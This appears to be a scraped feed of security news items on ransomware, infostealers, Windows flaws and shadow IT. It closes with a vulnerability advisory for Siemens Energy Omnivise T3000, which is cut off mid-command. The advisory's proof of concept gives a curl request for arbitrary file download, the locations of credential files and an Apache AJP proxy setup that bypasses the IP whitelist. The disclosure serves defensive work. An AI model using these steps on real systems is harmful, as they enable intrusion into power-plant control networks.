Since surfacing in August, the likely LockBit variant has claimed more than two dozen victims and appears poised to strike many more.

Source: Nicolas Bentancor via Shutterstock

The purveyor of a rapidly emerging ransomware family being tracked as "Helldown" introduced a new Linux variant, targeting organizations across multiple sectors using VMware ESXi servers.

Several of the victims had Zyxel firewalls deployed as IPSec VPN access points at the time of breach, suggesting the attackers exploited a vulnerability or vulnerabilities in the technology to gain initial access, security researchers at Sekoia reported this week. Since surfacing in August, the group behind Helldown has quickly notched 31 victims, many of them US-based.

**Undocumented Zyxel Vulnerabilities?**

Available telemetry suggests the Zyxel flaw that the attackers are exploiting is undocumented, Seokia said. But Zyxel has issued fixes for multiple vulnerabilities in its firewalls after Helldown actors breached the company's network, also in August, and then leaked some 250GB worth of data. As of mid-November, no exploit code for any of these vulnerabilities appears to be publicly available, Sekoia said, while leaving open the possibility that the Helldown attackers could be exploiting any one of the vulnerabilities.

"Helldown is a notably active new intrusion set, as shown by its large number of victims," Sekoia researcher Jeremy Scion wrote this week. "Available data indicates that the group mainly targets Zyxel firewalls by exploiting undocumented vulnerabilities." Though the ransomware itself is standard fare, what makes the group dangerous is its apparent access to and effective use of undocumented vulnerability code, Scion noted.

Zyxel firewalls, like many other network and edge technologies, are a popular attacker target. Threat actors have been quick to exploit flaws in the company's products in various campaigns in the past, including one dubbed IZ1H9 that targeted Internet-of-Things (IoT) networks; another involving a Mirai variant; and another that hit Danish critical infrastructure.  

**A Troubling Shift**

Patrick Tiquet, vice president security and architecture at Keeper Security, viewed Helldown as a troubling shift in ransomware actor tactics. "While ransomware targeting Linux isn't unprecedented, Helldown's focus on VMware systems shows its operators are evolving to disrupt the virtualized infrastructures many businesses rely on," he said via email. "The message to security teams is clear: patch known vulnerabilities, monitor for unusual activity, and treat virtualized environments with the same vigilance as traditional ones."

Multiple security vendors have reported attacks involving Helldown since early August. Most of its victims have been small and medium sized businesses across different sectors, including transportation, manufacturing, healthcare, telecommunications, and IT services. Halycon, one of the first to spot Helldown, described the group as "highly aggressive" and capable of causing substantial disruption and financial losses to victims. According to Halycon, Helldown actors have a penchant for stealing large volumes of data from victims and threatening to leak the data unless it receives a ransom.

In a report earlier this month, Truesec perceived the threat actor as being more sophisticated in its initial compromise techniques compared to better known ransomware operators, such as the one behind Akira. In the attacks that Truesec analyzed, Helldown threat actors leveraged legitimate tools and other living-off-the-land techniques to execute their mission on a compromised network.

**Dangerous Adversary**

"Recent incidents showed that the group will thoroughly remove tools utilized during a compromise, as well as override the free disk space on the hard drive of different machines, in attempts to hinder the recovery process and reduce the effectiveness of file carving," Trusec observed. Helldown actors likely accessed victim environments directly from their Internet-facing Zyxel firewall, the security vendor posited. Once on a victim network, the threat actor used either TeamViewer or the default Windows RDP client for lateral movement, PowerShell for remote code execution, and Mimikatz to search for and retrieve credentials.

According to Sekoia, reports from multiple Helldown victims indicate that the attacker compromised Zyxel firewalls running firmware version 5.38. "Specifically, a file named zzz1.conf was uploaded, and a user account called OKSDW82A was created" on compromised systems, Scion noted. The attacker then used the temporary account to create an SSL VPN tunnel for accessing and pivoting further into the victim network.  

The attack chain included attempts by the threat actor to disable endpoint detection mechanisms using a tool called HRSword; leverage the domain controller's LDAP credentials to burrow deeper into the network; use certutil to download Advanced Port Scanner; use RDP or TeamViewer for remote access and lateral movement; and use PSExec for remote code execution.

Scion said Sekoia's analysis of the files that Helldown actors have published on their data leak site showed many of them to be unusually large and averaging around 70GB. The biggest file, in fact, weighed in at a hefty 431GB, which is noteworthy because ransomware actors typically tend to be more selective in the files they steal and use for extortion. The contents of the stolen files also tended to be more variable and random than usual for a ransomware operation. "The large volume and variety of data suggest that the attacker does not selectively choose which documents to steal," Scion said. "Instead, they appear to target data sources that store administrative files, such as PDFs and document scans, which typically contain sensitive information (personal, financial, etc.), thereby intensifying the pressure on victims."

Helldown's behavior itself is similar to that of Darkrace, a LockBit variant that first surfaced in August 2023 and may have been rebranded as Donex in February of this year. Though the links between the ransomware strains are not conclusive, there is a possibility that Helldown is a rebrand of Donex, Sekoia said.

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Linux Variant of Helldown Ransomware Targets VMware ESXi Systems

A widespread social media campaign for EditProAI turns out to spread information stealers for both Windows and MacOS users.

A large social media campaign was launched to promote a free Artificial Intelligence (AI) video editor. If the “free” part of that campaign sounds too good to be true, then that’s because it was.

Instead of the video editor, users got information stealing malware. Lumma Stealer was installed on Windows machines and Atomic Stealer (AMOS) on Macs.

The campaign to promote the AI video editor was active on several social media platforms, like X, Facebook, and YouTube…

…and had been active for quite a while. as you can see from this tweet.

The criminals seem to have used a lot of accounts to promote their “product” as you can see from this search on X.

Some accounts were expressly created for this purpose, while others look like they may have been compromised accounts.

The campaign looks well organized, and looks so legitimate that it took quite a while before a researcher found out and tweeted about the threat.

When interested individuals follow the links, they’ll end up on a professional looking website—exactly what you would expect.

But if they click the “GET NOW” button, they’ll download the information stealer and infect their device. The file is called “Edit-ProAI-Setup-newest\_release.exe” for Windows, and “EditProAi\_v.4.36.dmg” for macOS.

Lumma is available through a Malware-as-a-Service (MaaS) model, where cybercriminals pay other cybercriminals for access to malicious software and its related infrastructure. Lumma steals information from cryptocurrency wallets and browser extensions, as well as two-factor authentication details. Lumma is often distributed via email campaigns, but nothing stops the cybercriminals from spreading it as a download for an AI editor, as they did here.

AMOS makes money for its operators by finding and stealing valuable information on the computers it infects, such as credit card details, authentication cookies, passwords and cryptocurrency. Besides stealing data from the web browsers themselves, AMOS can also steal data from browser extensions (plugins).

**What if you installed one of these?**

Both stealers are after login credentials and financial information, so there are a few things you’ll need to do.

*   Monitor your accounts. Banking and cryptocurrency information is a prime target for these information stealers, so check your accounts and monitor them closely.
*   Change all your passwords starting with the important ones, and if you’re not using a password manager already, now might be a good time to get one. It can help you create and store strong passwords.
*   Enable multi-factor-authentication (MFA) on all your important accounts.
*   Log out of all your important accounts on infected devices. These information stealers are capable of taking over some accounts by stealing cookies, even if you have MFA enabled.

Malwarebytes for Windows and Malwarebytes for Mac can detect the information stealers, and they block the EditProAI websites.

 Free AI editor lures in victims, installs information stealer instead on Windows and Mac 

A critical vulnerability in the Windows Kerberos authentication protocol poses a significant risk to millions of servers. Microsoft…

A critical vulnerability in the Windows Kerberos authentication protocol poses a significant risk to millions of servers. Microsoft addressed this issue in last week’s Patch Tuesday updates. Ensure these patches are installed to protect your systems.

Microsoft has released a patch for a critical vulnerability in **Microsoft Kerberos**, a widely used authentication protocol for verifying host or user identities. This flaw, allows attackers to send crafted requests to vulnerable systems to gain unauthorised access and remote code execution (RCE).

To exploit this flaw, an unauthenticated actor must leverage a cryptographic protocol vulnerability to achieve RCE, Microsoft explained in its **Patch Tuesday advisory**.

The vulnerability is tracked as **CVE-2024-43639** and has a CVSS score of 9.8 (critical severity). If left unpatched, it could lead to drastic consequences for organizations of all sizes, including data theft, system disruption, and even complete system compromise. The vulnerability is particularly concerning due to the widespread use of Windows Server and the ease with which attackers can exploit it. 

According to Censys investigation, shared with Hackread.com, there are over two million (2,274,340) exposed Windows Server instances, with 1,211,834 likely to be vulnerable. However, Censys’ research reveals that not all of these instances are vulnerable, as only servers configured with the Kerberos KDC proxy are affected.

“Note that displayed devices are only vulnerable when configured as a Kerberos KDC Proxy Protocol server,” Censys **blog post** read.

Over half of these devices were found with TCP/443 open, the default port for the KDC Proxy Protocol server, and researchers urge admins to confirm this protocol’s presence on their systems. 

For your information, KDC Proxy Protocol Servers allow clients to communicate with KDC servers over HTTPS, using Kerberos protocols like UDP/TCP 88 for Kerberos Authentication Service and Ticket Grating Service exchanges, and TCP 464 for Kerberos password changes. These protocols assume direct, reliable access to the KDC server, usually within the same network or VPN, and are typically used for services like Remote Desktop Gateway and DirectAccess.

Regarding the most impacted regions, Censys noted that 34% of these vulnerable servers are located in the United States, and 11% are associated with Armstrong Enterprise Communications, a managed IT provider. 

System administrators should patch all Windows Servers configured as KDC Proxy servers, disable unnecessary KDC Proxy services, and implement additional security measures like network segmentation and firewalls to minimize the risk of a cyberattack.

The urgency of this situation is critical as many servers are vulnerable and attackers constantly exploit these weaknesses. Quick patching and additional security measures can significantly reduce the **risk of cyberattacks**.

1.  Hackers Exploit Global Windows Servers in SEO Fraud
2.  Hackers Use Excel Files to Deliver Remcos RAT on Windows
3.  Windows SmartScreen Flaw Enabling Data Theft in Stealer Attack
4.  NTLM Credential Theft in Python Apps Threaten Windows Security
5.  Attack Lets Hackers Downgrade Windows to Exploit Patched Flaws

Critical Windows Kerberos Flaw Exposes Millions of Servers to Attack

Cybersecurity researchers have shed light on a Linux variant of a relatively new ransomware strain called Helldown, suggesting that the threat actors are broadening their attack focus.
"Helldown deploys Windows ransomware derived from the LockBit 3.0 code," Sekoia said in a report shared with The Hacker News. "Given the recent development of ransomware targeting ESX, it appears that the group

New 'Helldown' Ransomware Variant Expands Attacks to VMware and Linux Systems

The tangle of user-built tools is formidable to manage, but it can lead to a greater understanding of real-world business needs.

Source: Martin Harvey via Alamy Stock Photo

COMMENTARY

Shadow IT is what your business runs on while waiting for IT to provide an enterprise solution. It's your sales team buying licenses to an obscure software-as-a-service (SaaS) because it helps them get the job done. Or it's your finance team using an unapproved tool because the approved one is too clunky. Sometimes shadow IT exists specifically to bypass an overly annoying security mechanism — figuring out a way to forward business emails to your personal Gmail account because it's easier to view on mobile, for example.

You might hope shadow IT is a problem only for large enterprises, too big to centrally manage. My experience running a small startup suggests otherwise. We agonized over our choice of a productivity tools suite — considering pros and cons and balancing user experience with governability. And people are happy to use our tool of choice; they just also use other tools in parallel. We run on Google Workspace, but many of our employees use Office because they're used to it. We use Google Drive for file sharing, but we quickly learned some people prefer iCloud.

People's personal preferences play a significant role here. They want to get their jobs done, not worry about learning a new tool. Platforms make this tendency even worse. Many try to get you to use and rely on them for a long time before asking for added licensing. Consider local file saves on Windows or Mac. By default, every local file save actually gets saved in a directory backed up into Microsoft's or Apple's cloud.

A large enterprise might have more mature security controls to prevent use of unauthorized software, but it also has much more variety in the software people would like to use. The sheer size of an enterprise and the independence of different business units exacerbate the software spread even further. The standard industry security practice for controlling software usage combines bringing in security on every license purchase and restricting software and SaaS usage on the endpoint. While those tactics are useful, they are limited in scope. Paying out of pocket, which some users will do to get the software they want, bypasses enterprise procurement.

**Approved Apps Lead to Building Unapproved Apps**

Expanding the use of existing platforms into new and unapproved feature sets is even more pervasive. Did you purchase Office 365 for productivity or Salesforce for your sales reps? Congrats. You've now empowered your business users to build their own apps with the no-code/low-code platform bundled in. Unapproved uses of enterprise platforms also bypass SaaS usage controls. Enterprises can't block access to Microsoft or Salesforce, but through them users can send corporate data to unapproved systems.

With each new discovery of an unapproved system, the security team can either try to block it or bring it under their umbrella. Either way, it's an endless game of whack-a-mole. Some tools can help with this discovery, but they often lack context about how these systems are used and which are actually important to business functions.

What if we could ask every business user what systems they use in their day-to-day, regardless of corporate policies? And ask which of those are truly vital for the business? That could give us the ultimate list: a full mapping of shadow IT, coupled with its business importance. Unfortunately, that doesn't work — simply asking people likely won't result in a full list, and what end users find vital may be different from what management does.

**User-Built Tools Expose Shadow IT Network**

Enter citizen development, in which business users leverage low-code/no-code tools to streamline their processes, analyze their data, and build custom business applications for their use cases. To be relevant, these apps must connect to the data and processes that the business uses in practice. A citizen developer is not going to call IT to integrate their app with the approved corporate service; instead, they'll connect directly to what we call shadow IT.

Here's an example. Consider a sales team using an unapproved tool for lead tracking. To sync it with the approved CRM, they use no-code automation. By finding automations that connect to the CRM and following the data flow, we can easily find the unapproved tool and what type of data it holds.

Embracing citizen development can leave security teams at a much better spot — having visibility into what software the business actually runs on — if used right.

That "if" is very important. Citizen development introduces its fair share of security risks, which must be mitigated to avoid adverse effects. But by embracing citizen development, we're letting business users codify what used to be a copy-paste data integration. Following these processes will lead us directly to the most important elements of shadow IT.

**About the Author**

CTO & Co-Founder, Zenity

Michael Bargury is an industry expert in cybersecurity focused on cloud security, SaaS security, and AppSec. Michael is the CTO and co-founder of Zenity.io, a startup that enables security governance for low-code/no-code enterprise applications without disrupting business. Prior to Zenity, Michael was a senior architect at Microsoft Cloud Security CTO Office, where he founded and headed security product efforts for IoT, APIs, IaC, Dynamics, and confidential computing. Michael holds 15 patents in the field of cybersecurity and a BSc in Mathematics and Computer Science from Tel Aviv University. Michael is leading the OWASP community effort on low-code/no-code security.

To Map Shadow IT, Follow Citizen Developers

Plus: An “AI granny” is wasting scammers’ time, a lawsuit goes after spyware-maker NSO Group’s executives, and North Korea–linked hackers take a crack at macOS malware.

In perhaps the most adorable hacker story of the year, a trio of technologists in India found an innovative way to circumvent Apple’s location restrictions on AirPod Pro 2s so they could enable the earbuds’ hearing aid feature for their grandmas. The hack involved a homemade Faraday cage, a microwave, and a lot of trial and error.

On the other end of the tech-advancements spectrum, the US military is currently testing an AI-enabled machine gun that is capable of auto-targeting swarms of drones. The Bullfrog, built by Allen Control Systems, is one of several advanced weapons technologies in the works to combat the growing threat of cheap, small drones on the battlefield.

The US Department of Justice announced this week that an 18-year-old from California has admitted to making or orchestrating more than 375 swatting attacks across the United States.

Then, of course, there’s the Donald Trump of it all. This week, we published a practical guide to protecting yourself from government surveillance. WIRED has covered the dangers of government surveillance for decades, of course. But when the president-elect is explicitly threatening to jail his political enemies—whoever that may be—now’s probably a good time to brush up on your digital best practices.

In addition to potential dragnet surveillance of US citizens, US Immigration and Customs Enforcement started ramping up its surveillance arsenal the day after Trump won reelection. Meanwhile, experts are expecting the incoming administration to roll back cybersecurity rules instituted under president Joe Biden while taking a harder line against adversarial state-sponsored hackers. And if all this political upheaval has you in the mood to protest, beware: An investigation copublished by WIRED and The Marshall Project found that mask bans instituted in several states add a complicated new layer to exercising freedom of speech.

And that’s not all. Each week, we round up the privacy and security news we didn’t cover in depth ourselves. Click the headlines to read the full stories, and stay safe out there.

In August 2016, approximately 120,000 bitcoin—at the time worth around $71 million—were stolen in a hack on the Bitfinex cryptocurrency exchange. Then in 2022, as the value of cryptocurrency had rocketed skywards, law enforcement officials in New York arrested husband and wife Ilya Lichtenstein and Heather Morgan in relation to the hack and laundering the much-inflated $4.5 billion of stolen cryptocurrency. (At the time, $3.6 billion of the funds were recouped by law enforcement investigators.)

This week, after pleading guilty in 2023, Lichtenstein was sentenced to five years of jail time for conducting the hack and laundering the profits. With subsequent cryptocurrency spikes and additional seizures related to the hack, the US government has now been able to recover more than $10 billion in assets. A series of operational security failures by Lichtenstein made much of the illicit cryptocurrency easy for officials to seize, but investigators also applied sophisticated crypto-tracing methods to unpick how the funds had been stolen and subsequently moved around.

Aside from the brazen scale of the heist, Lichtenstein and Morgan gained online prominence and ridicule after their arrests due to a series of Forbes articles written by Morgan and rap videos posted to YouTube under the name of “Razzlekhan.” Morgan, who also pleaded guilty, is due to be sentenced on November 18.

**An ‘AI Granny’ Is Wasting Phone Scammers’ Time**

Scammers are increasingly adopting AI as part of their criminal toolkits—using the technology to create deepfakes, translate scripts, and make their operations more efficient. But artificial intelligence is also being turned against the scammers. British telecoms firm Virgin Media and its mobile operator O2 have created a new “AI granny” that can answer phone calls from scammers and keep them talking. The system uses different AI models, according to The Register, that listen to what a scammer says and respond immediately. In one case, the company says it kept a scammer on the line for 40 minutes and has fed others fake personal information. Unfortunately, the system (at least at the moment) can’t directly answer calls made to your phone; instead, O2 created a specific phone number for the system, which the company says it has managed to get placed in lists of numbers that scammers call.

**Alleged NSO Group Spyware Victim Adds NSO Founders and Executive to Lawsuit**

In a new legal strategy for those attempting to hold commercial spyware vendors responsible, lawyer Andreu Van den Eynde, who was allegedly hacked with NSO Group spyware, is directly accusing two of the company’s founders, Omri Lavie and Shalev Hulio, and one of its executives, Yuval Somekh, of hacking crimes in a lawsuit. The Barcelona-based human rights nonprofit Iridia announced this week that it filed the complaint in a Catalan court. Van den Eynde was reportedly a victim of a hacking campaign that used NSO’s notorious Pegasus spyware against at least 65 Catalans. Van den Eynde and Iridia originally sued NSO Group in a Barcelona court in 2022 along with affiliates Osy Technologies and Q Cyber Technologies. “The people responsible for NSO Group have to explain their concrete activities,” a legal representative for Iridia and Van den Eynde wrote in the complaint, which was written in Catalan and translated by TechCrunch.

**North Korea-Backed Hackers Are Exploring New macOS Malware**

Research published this week by the mobile device management firm Jamf found that hackers who have been linked to North Korea have been working to implant malware inside macOS applications built with a particular open-source software development kit. The campaigns focused on cryptocurrency-related targets and involved infrastructure similar to systems that have been used by North Korea’s notorious Lazarus Group. It’s unclear if the activity resulted in actual victim compromise or if it was still in a testing phase.

Financially motivated and state-backed hackers have less occasion to use malware targeting Apple’s Mac computers than hacking tools that infect Microsoft Windows or Linux desktops and servers. So when Mac malware crops up, it’s typically a niche point, but it can also be a revealing indicator of trends and priorities among hackers.

Bitfinex Hacker Gets 5 Years for $10 Billion Bitcoin Heist

A threat actor known as BrazenBamboo has exploited an unresolved security flaw in Fortinet's FortiClient for Windows to extract VPN credentials as part of a modular framework called DEEPDATA.
Volexity, which disclosed the findings Friday, said it identified the zero-day exploitation of the credential disclosure vulnerability in July 2024, describing BrazenBamboo as the developer behind DEEPDATA,

Warning: DEEPDATA Malware Exploiting Unpatched Fortinet Flaw to Steal VPN Credentials

Email at many organizations has stopped working; the tech giant has advised users who are facing the issue to uninstall the updates so that it can address flaw.

Source: Eric D ricochet69 via Alamy Stock Photo

Microsoft pulled its November 2024 Exchange security updates that it released earlier this month for Patch Tuesday due to them breaking email delivery.

This decision came after there were reports from admins saying that email had stopped flowing altogether.

The issue affects Microsoft Exchange customers who use transport rules, or mail flow rules, as well as data loss protection rules. The mail flow rules filter and redirect emails in transit, while the data loss protection rules ensure that sensitive information isn't being shared via email to an outside organization.

According to Microsoft, some customers found that the mail flow rules stopped periodically after they installed the update. It is now advising admins who are noticing this issue to uninstall the November security updates entirely until they're re-released.

"We are continuing the investigation and are working on a permanent fix to address this issue," Microsoft stated in an update regarding the issue. "We will release it when ready. We have also paused the rollout of November 2024 SU to Windows / Microsoft Update. Customers who might not use Transport or DLP rules and did not run into the issue with rules, can continue using the November SU update."

**About the Author**

Microsoft Pulls Exchange Patches Amid Mail Flow Issues

Cloud service providers are getting better at protecting data, pushing adversaries to develop new cloud ransomware scripts to target PHP applications, a new report says.

Instead of solely leaning on leaky buckets and cloud service provider (CSP) vulnerabilities to exfiltrate sensitive data, a fresh crop of cloud-targeting ransomware is aimed instead at exploiting unprotected Web applications to drop encryptors and lock up victims' data.

The pivot to focusing on PHP applications demonstrates the success that CSPs have had in shoring up their environments with policies like AWS's Key Management Service, according to a new report from SentinelOne on the state of cloud ransomware landscape in 2024. CSPs can now ensure that almost no data is really lost, thanks to policies that require a waiting period and confirmation before data can be deleted. There are some fairly exotic malicious workarounds for some of these protections, but attacks can easily be blocked by implementing service control policies, the report said.

**Cloud Ransomware's New Look at Web Applications**

Cloud ransomware operators have started to mine Web applications for opportunities in increasing volumes, according to SentinelOne.

"Web applications are often run via cloud services," SentinelOne's report explained. "Their more minimal nature makes cloud environments a natural hosting point where the applications are easier to manage and require less configuration and upkeep than running on a full operating system. However, Web applications themselves are vulnerable to extortion attacks."

Related:5 Ways to Save Your Organization From Cloud Security Threats

Analysis uncovered new ransomware scripts specifically developed to attack PHP applications — such as a Python script named "Pandora," and another attributed to Indonesian-based threat actor IndoSec group.

"The Pandora script uses AES encryption to target several types of systems, including PHP servers, Android, and Linux," the report added. "The PHP ransom functions encrypt files using AES via the OpenSSL library. The Pandora Python script runs on the Web server, writing the PHP code output to the path pandora/Ransomware with a file name provided as an argument at runtime and appended with the php extension."

The ransom script targeting PHP applications developed by IndoSec uses a PHP backdoor to manage and delete files, according to the report. It searches through directories, reads, and then encodes the file contents using a Web service's API.

"This is an interesting approach because the encryption is provided through a remote service, rather than using native functionality like many other tools," the report noted.

**Using Legitimate Cloud-Native Functions to Steal Data**

Aside from trying to breach them, adversaries have also figured out how to use these cloud services themselves to exfiltrate stolen data, the report explained. SentinelOne offers the example of September Rhysdia and BianLian cloud ransomware attacks that abandoned their historical exfiltration tools like MEGAsync and rclone, and instead used Azure Storage Explorer to download the data. The following month, the LockBit ransomware group was discovered using Amazon's S3 storage to exfiltrate data from Windows and macOS systems, SentinelOne added.

Related:Google AI Platform Bugs Leak Proprietary Enterprise LLMs

In keeping with the trend, the SentinelOne research identified a new Python script on VirusTotal it named "RansomES." This code is designed to infiltrate a Windows system, look for files with extensions that indicate the file contains data, including .doc, .xls, .jpg, .png, or .txt. Once those files have been identified, the RansomES code allows the ransomware attacker to exfiltrate those files to an S3 storage bucket or an FTP site, and encrypt the local versions.

"RansomES is a simple script, and we do not believe it has been used in the wild," the report noted. "The author included an Internet connectivity check to the WannaCry killswitch domain, which may suggest the script was developed by a researcher or someone with an interest in threat intelligence."

Related:2 Zero-Day Bugs in Microsoft's Nov. Update Under Active Exploit

The key to protecting data against Web application cloud ransomware attacks is to assess the overall cloud environment to protect against misconfigurations and overly permissive storage buckets, the report concluded.

"Additionally, always enforce good identity management practices such as requiring MFA on all admin accounts, and deploy runtime protection against all cloud workloads and resources," according to SentinelOne.

Cloud Ransomware Flexes Fresh Scripts Against Web Apps

Siemens Energy Omnivise T3000 version 8.2 SP3 suffers from local privilege escalation, cleartext storage of passwords in configuration and log files, file system access allowing for arbitrary file download, and IP whitelist bypass.

    SEC Consult Vulnerability Lab Security Advisory < 20241112-0 >=======================================================================              title: Multiple vulnerabilities            product: Siemens Energy Omnivise T3000 vulnerable version: >=8.2 SP3      fixed version: see solution section         CVE number: CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879             impact: High           homepage: https://www.siemens-energy.com/global/en/home/products-services/product/omnivise-t3000.html              found: 2024-06-02                 by: Steffen Robertz (Office Vienna)                     Andreas Kolbeck (Office Munich)                     SEC Consult Vulnerability Lab                     An integrated part of SEC Consult, an Eviden business                     Europe | Asia                     https://www.sec-consult.com=======================================================================Vendor description:-------------------"Located in 90 countries, Siemens Energy operates across the whole energy landscape.From conventional to renewable power, from grid technology to storage to electrifyingcomplex industrial processes.Our mission is to support companies and countries with what they need to reducegreenhouse gas emissions and make energy reliable, affordable, and more sustainable.Let’s energize society."Source: https://www.siemens-energy.com/global/en/home/company/about.htmlBusiness recommendation:------------------------Siemens has released their security advisory SSA-857368, see the following URLfor further details:https://cert-portal.siemens.com/productcert/html/ssa-857368.html#mitigations-sectionFollow the mitigation instructions communicated in Omnivise T3000 Technical News 2024-089and SE Controls Security Announcement 2024-01.SEC Consult highly recommends to perform a thorough security review of the productconducted by security professionals to identify and resolve potential furthersecurity issues.Vulnerability overview/description:-----------------------------------1) Local Privilege Escalation via Writable Service Binary (CVE-2024-38876)Insecurely configured services or the insecure configuration of their authorizationslead to privilege escalation vulnerabilities in the Windows operating system. It ispossible for a low-privileged user to modify a service in such a way that it executesarbitrary code instead of starting the actual service. The service path is writable bythe "Authenticated Users" group.Precondition for exploitation: requires authenticated local access to the Terminal Serverof the T3000 system.2) Cleartext Storage of Passwords in Config and Log Files (CVE-2024-38877)Multiple files containing cleartext passwords were discovered. These can be usedto jump from host to host and thus compromise the whole security architecture ofthe T3000 system.Precondition for exploitation: requires administrative local access to any server of theT3000 system.3) File System Access via RemoteDiagnosticView Website (CVE-2024-38878)The RemoteDiagnosticView application is a web application hosted on the applicationserver. One parameter accepts a full path, which can be abused to download arbitraryfiles.Precondition for exploitation: requires administrative remote access to the Applicationserver of the T3000 system.4) IP Whitelist Bypass (CVE-2024-38879)The application server is hosting the T3000 web application on port 8080. However,only the Terminal Server is whitelisted. This whitelisting can be circumvented byexploiting the additionally exposed Tomcat AJP service on port 8009.Precondition for exploitation: requires unauthenticated remote access to the Applicationserver of the T3000 systemProof of concept:-----------------1) Local Privilege Escalation via Writable Service Binary (CVE-2024-38876)The following path hosts a file that is used by the "DSGW Service" of the T3000 system:"E:\dsgw\gw\bin\dsgwservice.exe"The path is writable by the "Authenticated Users" group.2) Cleartext Storage of Passwords in Config and Log Files (CVE-2024-38877)Multiple files containing cleartext passwords were discovered.Terminal Server:* C:\Program Files\SPPA-T3000\snmpv3trap\Config.properties (only readable by Admin)* E:\DSGW\GW\config_PDC.properties (Passwords are Base64 encoded)* C:\Program Files\SPPA-T3000\Logs\AppInstallLogs\PostInstallConfigList.xml (Readable by every user)Application Server:* D:\SPPA-T3000\_framework\_jre\installvariables.properties (contains passwords of tomcat and MySQL service* D:\SPPA-T3000\Orion\install\_uninstall\installvariables.properties (contains password for MySQL service and installation)All Servers:All servers are being deployed via Puppet. However, the cache file is nevercleared and contains the initial passwords of all systems of the T3000 system:"C:\Program Data\PuppetLabs\puppet\cache\client_data\catalog\<uid.json>"---------------------------------------[...]"parameters": {"foreman_pass": "[redacted]","foreman_url": "[redacted]","foreman_user": "puppet_provider","is_sec": "true","mpssvc_pass": "[redacted]"}[...]"parameters": {"crsphost": "XXX.XXX.XXX.XXX","crsppswd": "","crsprepo": "AVPatterns","crspservice": "SFTP","crspuser": "siem_t3000_west","primary_ts": true}[...]"parameters": {[...]"snmpv3_authpass": "[redacted]","snmpv3_privpass": "[redacted]","snmpv3_user": "snmpuser","snmpv3_hash": "SHA","snmpv3_encrypt": "AES"}[...]"parameters": {[...]"cyg_server_passwd": "[redacted]",[...]"fst_appsrv_passwd": "","fst_appsrv_red_hgw_ip": "XXX.XXX.XXX.XXX",[...]"icmauser_passwd": "[redacted]",[...]"opcadmin_passwd": "[redacted]","operator01_passwd": "[redacted]","operator02_passwd": "[redacted]","operator03_passwd": "[redacted]","operator04_passwd": "[redacted]","operator05_passwd": "[redacted]","operator06_passwd": "[redacted]","operator07_passwd": "[redacted]","operator08_passwd": "[redacted]","operator09_passwd": "[redacted]","operator10_passwd": "[redacted]","operators_password": "[redacted]","pdm01_passwd": "[redacted]","pdm02_passwd": "[redacted]","pdm03_passwd": "[redacted]","pdm04_passwd": "[redacted]","pdm05_passwd": "[redacted]","pdm06_passwd": "[redacted]","pdm07_passwd": "[redacted]","pdm08_passwd": "[redacted]","pdm09_passwd": "[redacted]","pdm10_passwd": "[redacted]","pmas_passwd": "[redacted]","pmsvc_passwd": "[redacted]","pmts_passwd": "[redacted]","reparchive_passwd": "[redacted]",[...]"t3kservice_passwd": "[redacted]","[...]"tomcatadmin_passwd": "[redacted]","tsuser01_passwd": "[redacted]","tsuser02_passwd": "[redacted]","tsuser03_passwd": "[redacted]","tsuser04_passwd": "[redacted]","tsuser05_passwd": "[redacted]","tsuser06_passwd": "[redacted]","tsuser07_passwd": "[redacted]","tsuser08_passwd": "[redacted]","tsuser09_passwd": "[redacted]","tsuser10_passwd": "[redacted]","txpdomain_passwd": "[redacted]",[...]"vm_r8_passwd": "[redacted]",[...]"vm_tc_passwd": "[redacted]",[...]"vm_ts_passwd": "[redacted]",[...]"vm_whitelist_hostname": "","vm_whitelist_passwd": "","wbuser01_passwd": "[redacted]","wbuser02_passwd": "[redacted]","wbuser03_passwd": "[redacted]","wbuser04_passwd": "[redacted]","wbuser05_passwd": "[redacted]","wbuser06_passwd": "[redacted]","wbuser07_passwd": "[redacted]","wbuser08_passwd": "[redacted]","wbuser09_passwd": "[redacted]","wbuser10_passwd": "[redacted]","wra01_passwd": "[redacted]",[...]"dsrm_passwd": "[redacted]",[...]"dc_passwd": "[redacted]",[...]"patchsvc_passwd": "[redacted]",}--------------------------------------------------To understand the impact of this file, we have to explain a little about the T3000 system.The system is split into three levels: Operator, Automation and Process.Operator Level: This is the level, where thin clients are situated. In our testcase,this level consisted of the Terminal Server that engineers could connect to. From here,they start the T3000 application, which simply loads a browser and displays a Javaapplication served from the Application Server.Automation Level: This level consists of application and automation servers. The applicationserver hosts the not time critical components of power generations such as the web server.The automation servers are taking care of time critical operations. In our testcase thesewere PLCs from the SIMATIC S7-CPU family.Process Level: This level consists of the I/O modules that are controlled by the automationservers.The Terminal Server, located on the operator level already contained the Puppet cache file,which contained all the local Windows users used in the T3000 system in clear text. As theTerminal Server communicates with the Application Server, they have to be connected via network.Thus, the attacker can use the credentials on the Terminal Server to jump to the ApplicationServer. This server is in the same segment as the physical PLC CPUs. Thus an attacker can nowalso control the PLCs and thus the whole power plant.In order to read the Puppet cache file, an attacker has to gain local admin rights first.For this, vulnerability 1 can be used.3) File System Access via RemoteDiagnosticView Website (CVE-2024-38878)The RemoteDiagnosticView website is hosted at the following URL:http:// <IP Application Server>:8080/RemoteDiagnosticViewIn our testcase it was configured using default credentials with the following username andan easy to guess password:txpadmin:[redacted]Using these credentials an attacker gains an authenticated session. From there, one cansimply download arbitrary files:------------------------Curl -H "Cookie: JSESSIONID=31B4F2F1BAFC473AB41B65DDF2FD10BA;" -I -H "Content-Type:application/x-www-form-urlencoded" -X POST -d "filename=D:\sectest.txt&type=TEXT"http://$host:8080/RemoteDiagnosticView/DataServletHTTP/1.1 200Content-Type: text/plainTransfer-Encoding: chunked[...]Sectest---------------------------------4) IP Whitelist Bypass (CVE-2024-38879)The AJP protocol can be used to proxy requests from an Apache server to an applicationrunning on Tomcat. By setting up a local Apache server and configuring it to use theAJP service of the Application Server, the IP filter is circumvented.The following setup was built:------------------------------sudo apt-get install libapache2-mod-jksudo vim /etc/apache2/apache2.conf# append the following line to the config   Include ajp.confsudo vim /etc/apache2/ajp.conf# create the following file    ProxyRequests Off    <Proxy *>       Order deny,allow       Deny from all       Allow from localhost    </Proxy>    ProxyPass   / ajp://<Application Server IP>:8009/   ProxyPassReverse   / ajp://<Application Server IP>:8009/sudo a2enmod 